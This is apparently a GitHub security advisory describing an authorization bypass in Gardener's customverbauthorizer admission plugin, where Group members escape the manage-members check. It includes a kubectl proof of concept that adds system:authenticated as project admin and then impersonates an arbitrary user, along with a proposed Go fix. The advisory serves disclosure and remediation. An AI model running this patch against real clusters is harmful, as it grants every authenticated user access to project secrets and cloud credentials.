The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
The isHumanUser() function at admission.go only matches Kind == "User":
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
Proof of concept:
manage-members permission:# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
test-admin-user cannot add a human User member (the check works for Users):$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "new-human-user@example.com",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
# As a random user
$ kubectl --as=random-user@example.com get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
Note:
random-user@example.comdoes not exist as a real user. However, the Kubernetes--asglobal flag performs user impersonation which is treated as a successfully authenticated request, automatically adding thesystem:authenticatedgroup. Sincesystem:authenticatedwas added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).isHumanUser() to include Groups: The function should match the documented behavior. Change:
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
To:
func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
if subject.Kind == rbacv1.GroupKind {
return true
}
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
{
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:40:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
}